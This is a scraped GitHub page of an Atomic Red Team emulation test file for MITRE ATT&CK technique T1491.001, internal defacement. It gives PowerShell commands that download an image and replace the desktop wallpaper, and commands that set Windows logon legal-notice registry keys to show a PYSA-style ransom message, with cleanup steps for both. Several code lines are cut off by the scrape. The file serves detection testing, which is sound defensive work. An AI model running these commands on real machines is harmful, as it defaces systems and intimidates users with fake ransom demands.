Product Solutions Resources Open Source Enterprise Pricing Sign in Sign up

redcanaryco / atomic-red-team Public

Notifications Fork 2.8k Star 9.7k

Code Issues 6 Pull requests 5 Actions Wiki Security Insights

Files

5c1e6f1

Go to file

- .github
- atomic_red_team
- atomics
  - Indexes
  - T1003.001
  - T1003.002
  - T1003.003
  - T1003.004
  - T1003.005
  - T1003.006
  - T1003.007
  - T1003.008
  - T1003
  - T1006
  - T1007
  - T1010
  - T1012
  - T1014
  - T1016
  - T1018
  - T1020
  - T1021.001
  - T1021.002
  - T1021.003
  - T1021.006
  - T1027.001
  - T1027.002
  - T1027.004
  - T1027.006
  - T1027
  - T1030
  - T1033
  - T1036.003
  - T1036.004
  - T1036.005
  - T1036.006

atomic-red-team / atomics / T1491.001 / T1491.001.md

Atomic Red Team doc generat... Generated docs from job=generate-d... 2be544c · 2 years ago History

Preview Code Blame 154 lines (106 loc) · 6.89 KB Raw

T1491.001 - Defacement: Internal Defacement

Description from ATT&CK

> An adversary may deface systems internal to an organization in an attempt to intimidate or mislead users, thus discrediting the integrity of the systems. This may take the form of modifications to internal websites, or directly to user systems with the replacement of the desktop wallpaper.(Citation: Novetta Blockbuster) Disturbing or offensive images may be used as a part of [Internal Defacement](https://attack.mitre.org/techniques/T1491/001) in order to cause user discomfort, or to pressure compliance with accompanying messages. Since internally defacing systems exposes an adversary's presence, it often takes place after other intrusion goals have been accomplished.(Citation: Novetta Blockbuster Destructive Malware)

Atomic Tests

- Atomic Test #1 - Replace Desktop Wallpaper
- Atomic Test #2 - Configure LegalNoticeCaption and LegalNoticeText registry keys to display ransom message

Atomic Test #1 - Replace Desktop Wallpaper

Downloads an image from a URL and sets it as the desktop wallpaper.

Supported Platforms: Windows

auto_generated_guid: 30558d53-9d76-41c4-9267-a7bd5184bed3

Inputs:

Name	Description	Type	Default Value
url_of_wallpaper	URL pointing to the image file you wish to set as wallpaper	Url	https://redcanary.com/wp-content/uploads/Atomic-Red-Team-Logo.png
pointer_to_orginal_wallpaper	Full path to where a file containing	String	$env:TEMP\T1491.001-OrginalWallpaperLocation

T1036
T1037.001
T1037.002
T1037.004
T1037.005
T1039

	the original wallpaper location will be saved		
wallpaper_location	Full path to where the downloaded wallpaper image will be saved	String	$env:TEMP\T1491.001-newWallpaper.png

Attack Commands: Run with `powershell`!

```
$url = "#{url_of_wallpaper}"
$imgLocation = "#{wallpaper_location}"
$orgWallpaper = (Get-ItemProperty -Path Registry::'HKEY_CURRENT_USER\Con
$orgWallpaper | Out-File -FilePath "#{pointer_to_orginal_wallpaper}"
$updateWallpapercode = @'
using System.Runtime.InteropServices;
namespace Win32{

    public class Wallpaper{
        [DllImport("user32.dll", CharSet=CharSet.Auto)]
         static extern int SystemParametersInfo (int uAction , int uPara

         public static void SetWallpaper(string thePath){
            SystemParametersInfo(20,0,thePath,3);
        }
    }
}
'@
$wc = New-Object System.Net.WebClient
try{
    $wc.DownloadFile($url, $imgLocation)
    add-type $updateWallpapercode
    [Win32.Wallpaper]::SetWallpaper($imgLocation)
}
catch [System.Net.WebException]{
    Write-Host("Cannot download $url")
    add-type $updateWallpapercode
    [Win32.Wallpaper]::SetWallpaper($imgLocation)
}
finally{
    $wc.Dispose()
}
```

Cleanup Commands:

```
$updateWallpapercode = @'
using System.Runtime.InteropServices;
namespace Win32{

    public class Wallpaper{
        [DllImport("user32.dll", CharSet=CharSet.Auto)]
         static extern int SystemParametersInfo (int uAction , int uPara

         public static void SetWallpaper(string thePath){
            SystemParametersInfo(20,0,thePath,3);
        }
    }
}
'@
if (Test-Path -Path #{pointer_to_orginal_wallpaper} -PathType Leaf) {
     $orgImg = Get-Content -Path "#{pointer_to_orginal_wallpaper}"
     add-type $updateWallpapercode
     [Win32.Wallpaper]::SetWallpaper($orgImg)
}
Remove-Item "#{pointer_to_orginal_wallpaper}" -ErrorAction Ignore
Remove-Item "#{wallpaper_location}" -ErrorAction Ignore
```

Atomic Test #2 - Configure LegalNoticeCaption and LegalNoticeText registry keys to display ransom message

Display ransom message to users at system start-up by configuring registry keys HKLM\SOFTWARE\Micosoft\Windows\CurrentVersion\Policies\System\LegalNoticeCaption and HKLM\SOFTWARE\Micosoft\Windows\CurrentVersion\Policies\System\LegalNoticeText.

SynAck Ransomware, Grief Ransomware, Maze Ransomware, Pysa Ransomware, Spook Ransomware, DopplePaymer Ransomware, Reedemer Ransomware, Kangaroo Ransomware

Supported Platforms: Windows

auto_generated_guid: ffcbfaab-c9ff-470b-928c-f086b326089b

Inputs:

Name	Description	Type	Default Value
legal_notice_caption	Title of ransom message	String	PYSA
legal_notice_text	Body of ransom message	String	Hi Company, every byte on any types of your devices was encrypted. Don't try to use backups because it were encrypted too. To get all your data contact us:xxxx@onionmail.org

Attack Commands: Run with `powershell`! Elevation Required (e.g. root or admin)

```
$orgLegalNoticeCaption = (Get-ItemProperty HKLM:\SOFTWARE\Microsoft\Wind
$orgLegalNoticeText = (Get-ItemProperty HKLM:\SOFTWARE\Microsoft\Windows
$newLegalNoticeCaption = "#{legal_notice_caption}"
$newLegalNoticeText = "#{legal_notice_text}"
Set-ItemProperty HKLM:\SOFTWARE\Microsoft\Windows\CurrentVersion\Policie
Set-ItemProperty HKLM:\SOFTWARE\Microsoft\Windows\CurrentVersion\Policie
```

Cleanup Commands:

```
Set-ItemProperty HKLM:\SOFTWARE\Microsoft\Windows\CurrentVersion\Policie
Set-ItemProperty HKLM:\SOFTWARE\Microsoft\Windows\CurrentVersion\Policie
```